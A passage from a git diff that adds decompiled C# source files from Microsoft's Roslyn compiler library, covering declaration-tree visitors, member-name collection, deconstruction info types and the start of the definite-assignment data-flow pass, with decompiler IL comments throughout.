flag = flag2; + } + if (flag) + { + MessageID.IDS_FeatureRefStructs.CheckFeatureAvailability(instance, (SyntaxNode)(object)node, ((SyntaxToken)(ref current)).GetLocation()); + } + } + val = node.Identifier; + string valueText = ((SyntaxToken)(ref val)).ValueText; + int arity = node.Arity; + SingleTypeDeclaration.TypeDeclarationFlags declFlags2 = declFlags; + SyntaxReference reference = _syntaxTree.GetReference((SyntaxNode)(object)node); + val = node.Identifier; + return new SingleTypeDeclaration(kind, valueText, arity, modifiers, declFlags2, reference, new SourceLocation(ref val), nonTypeMemberNames, VisitTypeChildren(node), instance.ToReadOnlyAndFree(), _nonGlobalAliasedQuickAttributes | quickAttributes); + } + + private ImmutableArray VisitTypeChildren(Microsoft.CodeAnalysis.CSharp.Syntax.TypeDeclarationSyntax node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if (node.Members.Count == 0) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Enumerator enumerator = node.Members.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Syntax.MemberDeclarationSyntax current = enumerator.Current; + SingleTypeDeclaration singleTypeDeclaration = Visit((SyntaxNode?)(object)current) as SingleTypeDeclaration; + ArrayBuilderExtensions.AddIfNotNull(instance, singleTypeDeclaration); + } + return instance.ToImmutableAndFree(); + } + + public override SingleNamespaceOrTypeDeclaration VisitDelegateDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.DelegateDeclarationSyntax node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Expected O, but got Unknown + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + SingleTypeDeclaration.TypeDeclarationFlags typeDeclarationFlags = (node.AttributeLists.Any() ? SingleTypeDeclaration.TypeDeclarationFlags.HasAnyAttributes : SingleTypeDeclaration.TypeDeclarationFlags.None); + DiagnosticBag instance = DiagnosticBag.GetInstance(); + if (node.Arity == 0) + { + Symbol.ReportErrorIfHasConstraints(node.ConstraintClauses, instance); + } + typeDeclarationFlags |= SingleTypeDeclaration.TypeDeclarationFlags.HasAnyNontypeMembers; + DeclarationModifiers modifiers = node.Modifiers.ToDeclarationModifiers(isForTypeDeclaration: true, instance); + QuickAttributes quickAttributes = GetQuickAttributes(node.AttributeLists); + SyntaxToken identifier = node.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + int arity = node.Arity; + SingleTypeDeclaration.TypeDeclarationFlags declFlags = typeDeclarationFlags; + SyntaxReference reference = _syntaxTree.GetReference((SyntaxNode)(object)node); + identifier = node.Identifier; + return new SingleTypeDeclaration(DeclarationKind.Delegate, valueText, arity, modifiers, declFlags, reference, new SourceLocation(ref identifier), s_emptyMemberNames, ImmutableArray.Empty, instance.ToReadOnlyAndFree(), _nonGlobalAliasedQuickAttributes | quickAttributes); + } + + public override SingleNamespaceOrTypeDeclaration VisitEnumDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.EnumDeclarationSyntax node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + //IL_00fe: Expected O, but got Unknown + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + _ = node.Members; + SingleTypeDeclaration.TypeDeclarationFlags declFlags = (node.AttributeLists.Any() ? SingleTypeDeclaration.TypeDeclarationFlags.HasAnyAttributes : SingleTypeDeclaration.TypeDeclarationFlags.None); + if (node.BaseList != null) + { + declFlags |= SingleTypeDeclaration.TypeDeclarationFlags.HasBaseDeclarations; + } + StrongBox> enumMemberNames = GetEnumMemberNames(node, ref declFlags); + DiagnosticBag instance = DiagnosticBag.GetInstance(); + DeclarationModifiers modifiers = node.Modifiers.ToDeclarationModifiers(isForTypeDeclaration: true, instance); + QuickAttributes quickAttributes = GetQuickAttributes(node.AttributeLists); + SyntaxToken openBraceToken = node.OpenBraceToken; + SyntaxToken val = default(SyntaxToken); + if (openBraceToken == val) + { + SyntaxToken closeBraceToken = node.CloseBraceToken; + val = default(SyntaxToken); + if (closeBraceToken == val) + { + SyntaxToken semicolonToken = node.SemicolonToken; + val = default(SyntaxToken); + if (semicolonToken != val) + { + val = node.SemicolonToken; + MessageID.IDS_FeaturePrimaryConstructors.CheckFeatureAvailability(instance, (SyntaxNode)(object)node, ((SyntaxToken)(ref val)).GetLocation()); + } + } + } + val = node.Identifier; + string valueText = ((SyntaxToken)(ref val)).ValueText; + SingleTypeDeclaration.TypeDeclarationFlags declFlags2 = declFlags; + SyntaxReference reference = _syntaxTree.GetReference((SyntaxNode)(object)node); + val = node.Identifier; + return new SingleTypeDeclaration(DeclarationKind.Enum, valueText, 0, modifiers, declFlags2, reference, new SourceLocation(ref val), enumMemberNames, ImmutableArray.Empty, instance.ToReadOnlyAndFree(), _nonGlobalAliasedQuickAttributes | quickAttributes); + } + + private static QuickAttributes GetQuickAttributes(SyntaxList attributeLists) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + QuickAttributes quickAttributes = QuickAttributes.None; + Enumerator enumerator = attributeLists.GetEnumerator(); + while (enumerator.MoveNext()) + { + Enumerator enumerator2 = enumerator.Current.Attributes.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Syntax.AttributeSyntax current = enumerator2.Current; + QuickAttributes num = quickAttributes; + SyntaxToken identifier = current.Name.GetUnqualifiedName().Identifier; + quickAttributes = num | QuickAttributeHelpers.GetQuickAttributes(((SyntaxToken)(ref identifier)).ValueText, inAttribute: true); + } + } + return quickAttributes; + } + + private StrongBox> GetEnumMemberNames(Microsoft.CodeAnalysis.CSharp.Syntax.EnumDeclarationSyntax enumDeclaration, ref SingleTypeDeclaration.TypeDeclarationFlags declFlags) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + SeparatedSyntaxList members = enumDeclaration.Members; + if (members.Count != 0) + { + declFlags |= SingleTypeDeclaration.TypeDeclarationFlags.HasAnyNontypeMembers; + } + if (members.Any((Func)((Microsoft.CodeAnalysis.CSharp.Syntax.EnumMemberDeclarationSyntax m) => m.AttributeLists.Any()))) + { + declFlags |= SingleTypeDeclaration.TypeDeclarationFlags.AnyMemberHasAttributes; + } + return GetOrComputeMemberNames((SyntaxNode)(object)enumDeclaration, delegate(HashSet memberNamesBuilder, SeparatedSyntaxList val) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = val.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Syntax.EnumMemberDeclarationSyntax current = enumerator.Current; + SyntaxToken identifier = current.Identifier; + memberNamesBuilder.Add(((SyntaxToken)(ref identifier)).ValueText); + } + }, members); + } + + private StrongBox> GetNonTypeMemberNames(CSharpSyntaxNode parent, SyntaxList members, ref SingleTypeDeclaration.TypeDeclarationFlags declFlags, bool skipGlobalStatements = false, bool hasPrimaryCtor = false) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + bool flag2 = false; + bool flag3 = false; + bool flag4 = false; + Enumerator enumerator = members.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.MemberDeclarationSyntax current = enumerator.Current; + if (!flag3 && HasAnyNonTypeMemberNames(current, skipGlobalStatements)) + { + flag3 = true; + } + if (!flag && CheckMethodMemberForExtensionSyntax(current)) + { + flag = true; + } + if (!flag2 && CheckMemberForAttributes(current)) + { + flag2 = true; + } + if (!flag4 && checkPropertyOrFieldMemberForRequiredModifier(current)) + { + flag4 = true; + } + if (flag3 && flag && flag2 && flag4) + { + break; + } + } + if (flag) + { + declFlags |= SingleTypeDeclaration.TypeDeclarationFlags.AnyMemberHasExtensionMethodSyntax; + } + if (flag2) + { + declFlags |= SingleTypeDeclaration.TypeDeclarationFlags.AnyMemberHasAttributes; + } + if (flag3) + { + declFlags |= SingleTypeDeclaration.TypeDeclarationFlags.HasAnyNontypeMembers; + } + if (flag4) + { + declFlags |= SingleTypeDeclaration.TypeDeclarationFlags.HasRequiredMembers; + } + return GetOrComputeMemberNames((SyntaxNode)(object)parent, delegate(HashSet memberNamesBuilder, (SyntaxList members, bool hasPrimaryCtor) tuple) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (tuple.hasPrimaryCtor) + { + memberNamesBuilder.Add(".ctor"); + } + Enumerator enumerator2 = tuple.members.GetEnumerator(); + while (enumerator2.MoveNext()) + { + AddNonTypeMemberNames(enumerator2.Current, memberNamesBuilder); + } + }, (members, hasPrimaryCtor)); + static bool checkPropertyOrFieldMemberForRequiredModifier(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode member) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + SyntaxList val = (SyntaxList)((member is Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FieldDeclarationSyntax fieldDeclarationSyntax) ? fieldDeclarationSyntax.Modifiers : ((!(member is Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PropertyDeclarationSyntax propertyDeclarationSyntax)) ? default(SyntaxList) : propertyDeclarationSyntax.Modifiers)); + SyntaxList val2 = val; + return val2.Any(8447); + } + } + + private StrongBox> GetOrComputeMemberNames(SyntaxNode parent, Action, TData> addMemberNames, TData data) + { + StrongBox> result = getOrComputeMemberNamesWorker(); + _currentTypeIndex++; + return result; + unsafe StrongBox> getOrComputeMemberNamesWorker() + { + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_00e7: Unknown result type (might be due to invalid IL or missing references) + GreenNode green = parent.Green; + if (!s_nodeToMemberNames.TryGetValue(green, out var value)) + { + PooledHashSet instance = PooledHashSet.GetInstance(); + addMemberNames((HashSet)(object)instance, data); + StrongBox> target; + StrongBox> strongBox = ((_currentTypeIndex < _previousMemberNames.Count && _previousMemberNames[_currentTypeIndex].TryGetTarget(out target)) ? target : s_emptyMemberNames); + value = ((strongBox.Value.Count == ((HashSet)(object)instance).Count && strongBox.Value.SetEquals((IEnumerable)instance)) ? strongBox : ((((HashSet)(object)instance).Count == 0) ? s_emptyMemberNames : new StrongBox>(ImmutableSegmentedHashSet.CreateRange((IEnumerable)instance)))); + instance.Free(); + if (value.Value.Count > 0) + { + ConditionalWeakTable>>.CreateValueCallback createValueCallback = default(ConditionalWeakTable>>.CreateValueCallback); + Releaser pooledCreateValueCallback = PooledDelegates.GetPooledCreateValueCallback>, StrongBox>>((Func>, StrongBox>>)((GreenNode _, StrongBox> memberNames) => memberNames), value, ref createValueCallback); + try + { + value = s_nodeToMemberNames.GetValue(green, createValueCallback); + } + finally + { + ((IDisposable)(*(Releaser*)(&pooledCreateValueCallback))/*cast due to constrained. prefix*/).Dispose(); + } + } + } + return value; + } + } + + private static bool CheckMethodMemberForExtensionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode member) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + if (member.Kind == SyntaxKind.MethodDeclaration) + { + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterListSyntax parameterList = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.MethodDeclarationSyntax)member).parameterList; + if (parameterList != null) + { + SeparatedSyntaxList parameters = parameterList.Parameters; + if (parameters.Count != 0) + { + Enumerator enumerator = parameters[0].Modifiers.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.Kind == SyntaxKind.ThisKeyword) + { + return true; + } + } + } + } + } + return false; + } + + private static bool CheckMemberForAttributes(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode member) + { + //IL_00ef: Unknown result type (might be due to invalid IL or missing references) + //IL_00f4: Unknown result type (might be due to invalid IL or missing references) + //IL_00d9: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_010e: Unknown result type (might be due to invalid IL or missing references) + //IL_0113: Unknown result type (might be due to invalid IL or missing references) + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + //IL_011c: Unknown result type (might be due to invalid IL or missing references) + //IL_012c: Unknown result type (might be due to invalid IL or missing references) + //IL_0131: Unknown result type (might be due to invalid IL or missing references) + switch (member.Kind) + { + case SyntaxKind.CompilationUnit: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CompilationUnitSyntax)member).AttributeLists.Any(); + case SyntaxKind.ClassDeclaration: + case SyntaxKind.StructDeclaration: + case SyntaxKind.InterfaceDeclaration: + case SyntaxKind.EnumDeclaration: + case SyntaxKind.RecordDeclaration: + case SyntaxKind.RecordStructDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BaseTypeDeclarationSyntax)member).AttributeLists.Any(); + case SyntaxKind.DelegateDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DelegateDeclarationSyntax)member).AttributeLists.Any(); + case SyntaxKind.FieldDeclaration: + case SyntaxKind.EventFieldDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BaseFieldDeclarationSyntax)member).AttributeLists.Any(); + case SyntaxKind.MethodDeclaration: + case SyntaxKind.OperatorDeclaration: + case SyntaxKind.ConversionOperatorDeclaration: + case SyntaxKind.ConstructorDeclaration: + case SyntaxKind.DestructorDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BaseMethodDeclarationSyntax)member).AttributeLists.Any(); + case SyntaxKind.PropertyDeclaration: + case SyntaxKind.EventDeclaration: + case SyntaxKind.IndexerDeclaration: + { + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BasePropertyDeclarationSyntax basePropertyDeclarationSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BasePropertyDeclarationSyntax)member; + bool flag = basePropertyDeclarationSyntax.AttributeLists.Any(); + if (!flag && basePropertyDeclarationSyntax.AccessorList != null) + { + Enumerator enumerator = basePropertyDeclarationSyntax.AccessorList.Accessors.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AccessorDeclarationSyntax current = enumerator.Current; + flag |= current.AttributeLists.Any(); + } + } + return flag; + } + default: + return false; + } + } + + private static void AddNonTypeMemberNames(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode member, HashSet set) + { + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_0152: Unknown result type (might be due to invalid IL or missing references) + //IL_0157: Unknown result type (might be due to invalid IL or missing references) + switch (member.Kind) + { + case SyntaxKind.FieldDeclaration: + { + SeparatedSyntaxList variables = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FieldDeclarationSyntax)member).Declaration.Variables; + int count = variables.Count; + for (int i = 0; i < count; i++) + { + set.Add(variables[i].Identifier.ValueText); + } + break; + } + case SyntaxKind.EventFieldDeclaration: + { + SeparatedSyntaxList variables2 = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EventFieldDeclarationSyntax)member).Declaration.Variables; + int count2 = variables2.Count; + for (int j = 0; j < count2; j++) + { + set.Add(variables2[j].Identifier.ValueText); + } + break; + } + case SyntaxKind.MethodDeclaration: + { + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.MethodDeclarationSyntax methodDeclarationSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.MethodDeclarationSyntax)member; + if (methodDeclarationSyntax.ExplicitInterfaceSpecifier == null) + { + set.Add(methodDeclarationSyntax.Identifier.ValueText); + } + break; + } + case SyntaxKind.PropertyDeclaration: + { + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PropertyDeclarationSyntax propertyDeclarationSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PropertyDeclarationSyntax)member; + if (propertyDeclarationSyntax.ExplicitInterfaceSpecifier == null) + { + set.Add(propertyDeclarationSyntax.Identifier.ValueText); + } + break; + } + case SyntaxKind.EventDeclaration: + { + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EventDeclarationSyntax eventDeclarationSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EventDeclarationSyntax)member; + if (eventDeclarationSyntax.ExplicitInterfaceSpecifier == null) + { + set.Add(eventDeclarationSyntax.Identifier.ValueText); + } + break; + } + case SyntaxKind.ConstructorDeclaration: + set.Add(((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConstructorDeclarationSyntax)member).Modifiers.Any(8347) ? ".cctor" : ".ctor"); + break; + case SyntaxKind.DestructorDeclaration: + set.Add("Finalize"); + break; + case SyntaxKind.IndexerDeclaration: + set.Add("this[]"); + break; + case SyntaxKind.OperatorDeclaration: + { + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.OperatorDeclarationSyntax operatorDeclarationSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.OperatorDeclarationSyntax)member; + if (operatorDeclarationSyntax.ExplicitInterfaceSpecifier == null) + { + string item2 = OperatorFacts.OperatorNameFromDeclaration(operatorDeclarationSyntax); + set.Add(item2); + } + break; + } + case SyntaxKind.ConversionOperatorDeclaration: + { + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConversionOperatorDeclarationSyntax conversionOperatorDeclarationSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConversionOperatorDeclarationSyntax)member; + if (conversionOperatorDeclarationSyntax.ExplicitInterfaceSpecifier == null) + { + string item = OperatorFacts.OperatorNameFromDeclaration(conversionOperatorDeclarationSyntax); + set.Add(item); + } + break; + } + } + } + + private static bool HasAnyNonTypeMemberNames(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode member, bool skipGlobalStatements) + { + switch (member.Kind) + { + case SyntaxKind.FieldDeclaration: + case SyntaxKind.EventFieldDeclaration: + case SyntaxKind.MethodDeclaration: + case SyntaxKind.OperatorDeclaration: + case SyntaxKind.ConversionOperatorDeclaration: + case SyntaxKind.ConstructorDeclaration: + case SyntaxKind.DestructorDeclaration: + case SyntaxKind.PropertyDeclaration: + case SyntaxKind.EventDeclaration: + case SyntaxKind.IndexerDeclaration: + return true; + case SyntaxKind.GlobalStatement: + return !skipGlobalStatements; + default: + return false; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeconstructMethodInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeconstructMethodInfo.cs new file mode 100644 index 0000000..877daa1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeconstructMethodInfo.cs @@ -0,0 +1,21 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct DeconstructMethodInfo +{ + internal readonly BoundExpression Invocation; + + internal readonly BoundDeconstructValuePlaceholder InputPlaceholder; + + internal readonly ImmutableArray OutputPlaceholders; + + internal bool IsDefault => Invocation == null; + + internal DeconstructMethodInfo(BoundExpression invocation, BoundDeconstructValuePlaceholder inputPlaceholder, ImmutableArray outputPlaceholders) + { + Invocation = invocation; + InputPlaceholder = inputPlaceholder; + OutputPlaceholders = outputPlaceholders; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeconstructionInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeconstructionInfo.cs new file mode 100644 index 0000000..6057b1e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeconstructionInfo.cs @@ -0,0 +1,55 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp; + +public readonly struct DeconstructionInfo +{ + private readonly Conversion _conversion; + + public IMethodSymbol? Method + { + get + { + if (_conversion.Kind != ConversionKind.Deconstruction) + { + return null; + } + return _conversion.MethodSymbol; + } + } + + public Conversion? Conversion + { + get + { + if (_conversion.Kind != ConversionKind.Deconstruction) + { + return _conversion; + } + return null; + } + } + + public ImmutableArray Nested + { + get + { + if (_conversion.Kind != ConversionKind.Deconstruction) + { + return ImmutableArray.Empty; + } + ImmutableArray<(BoundValuePlaceholder, BoundExpression)> deconstructConversionInfo = _conversion.DeconstructConversionInfo; + if (!deconstructConversionInfo.IsDefault) + { + return ImmutableArrayExtensions.SelectAsArray<(BoundValuePlaceholder, BoundExpression), DeconstructionInfo>(deconstructConversionInfo, (Func<(BoundValuePlaceholder, BoundExpression), DeconstructionInfo>)(((BoundValuePlaceholder placeholder, BoundExpression conversion) c) => new DeconstructionInfo(BoundNode.GetConversion(c.conversion, c.placeholder)))); + } + return ImmutableArray.Empty; + } + } + + internal DeconstructionInfo(Conversion conversion) + { + _conversion = conversion; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeconstructionVariablePendingInference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeconstructionVariablePendingInference.cs new file mode 100644 index 0000000..ef5e6ad --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeconstructionVariablePendingInference.cs @@ -0,0 +1,40 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class DeconstructionVariablePendingInference : VariablePendingInference +{ + public override object Display + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/BoundTree/Formatting.cs", 140); + } + } + + protected override ErrorCode InferenceFailedError => ErrorCode.ERR_TypeInferenceFailedForImplicitlyTypedDeconstructionVariable; + + public DeconstructionVariablePendingInference(SyntaxNode syntax, Symbol variableSymbol, BoundExpression? receiverOpt, bool hasErrors = false) + : base(BoundKind.DeconstructionVariablePendingInference, syntax, variableSymbol, receiverOpt, hasErrors || receiverOpt.HasErrors()) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDeconstructionVariablePendingInference(this); + } + + public DeconstructionVariablePendingInference Update(Symbol variableSymbol, BoundExpression? receiverOpt) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(variableSymbol, base.VariableSymbol) || receiverOpt != base.ReceiverOpt) + { + DeconstructionVariablePendingInference deconstructionVariablePendingInference = new DeconstructionVariablePendingInference(Syntax, variableSymbol, receiverOpt, base.HasErrors); + deconstructionVariablePendingInference.CopyAttributes(this); + return deconstructionVariablePendingInference; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DefiniteAssignmentPass.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DefiniteAssignmentPass.cs new file mode 100644 index 0000000..b59a458 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DefiniteAssignmentPass.cs @@ -0,0 +1,2771 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Text; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class DefiniteAssignmentPass : LocalDataFlowPass +{ + private sealed class SameDiagnosticComparer : EqualityComparer + { + public static readonly SameDiagnosticComparer Instance = new SameDiagnosticComparer(); + + public override bool Equals(Diagnostic x, Diagnostic y) + { + return x.Equals(y); + } + + public override int GetHashCode(Diagnostic obj) + { + return Hash.Combine(Hash.CombineValues((IEnumerable)obj.Arguments, int.MaxValue), Hash.Combine(((object)obj.Location).GetHashCode(), obj.Code)); + } + } + + internal struct LocalState : ILocalDataFlowState, ILocalState + { + internal BitVector Assigned; + + public bool NormalizeToBottom { get; } + + public bool Reachable + { + get + { + if (((BitVector)(ref Assigned)).Capacity > 0) + { + return !IsAssigned(0); + } + return true; + } + } + + internal LocalState(BitVector assigned, bool normalizeToBottom = false) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + Assigned = assigned; + NormalizeToBottom = normalizeToBottom; + } + + public LocalState Clone() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return new LocalState(((BitVector)(ref Assigned)).Clone()); + } + + public bool IsAssigned(int slot) + { + return ((BitVector)(ref Assigned))[slot]; + } + + public void Assign(int slot) + { + if (slot != -1) + { + ((BitVector)(ref Assigned))[slot] = true; + } + } + + public void Unassign(int slot) + { + if (slot != -1) + { + ((BitVector)(ref Assigned))[slot] = false; + } + } + } + + internal sealed class LocalFunctionState(LocalState stateFromBottom, LocalState stateFromTop) : AbstractLocalFunctionState(stateFromBottom, stateFromTop) + { + public BitVector ReadVars = BitVector.Empty; + + public BitVector CapturedMask = BitVector.Null; + + public BitVector InvertedCapturedMask = BitVector.Null; + } + + private readonly PooledDictionary _variableSlot = PooledDictionary.VariableIdentifier, int>.GetInstance(); + + protected readonly ArrayBuilder variableBySlot = ArrayBuilder.VariableIdentifier>.GetInstance(1, 